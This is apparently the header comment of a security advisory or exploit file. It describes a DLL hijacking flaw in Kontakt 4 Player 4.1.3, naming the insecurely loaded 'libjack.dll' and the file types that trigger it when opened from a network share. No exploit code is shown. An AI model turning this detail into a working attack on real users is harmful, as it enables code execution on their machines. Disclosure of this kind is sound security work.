/* Native Instruments Kontakt 4 Player v4.1.3 Insecure Library Loading Vulnerability Vendor: Native Instruments GmbH Product web page: http://www.native-instruments.com Affected version: 4.1.3.4125 (Standalone) Summary: KONTAKT 4 PLAYER is the free sample player based on award-winning KONTAKT technology. Expanding the capabilities of its successful predecessor, the free KONTAKT 4 PLAYER allows for innovative, highly playable instruments leaving technological and musical limitations behind. Desc: Kontakt Player 4 suffers from a DLL hijacking vulnerability, which could be exploited by remote attackers to compromise a vulnerable system. This issue is caused due to the application insecurely loading certain libraries ("libjack.dll") from the current working directory, which could allow attackers to execute arbitrary code by tricking a user into opening specific related files (.ncw, .nki, .nkm and .nks) from a network share.
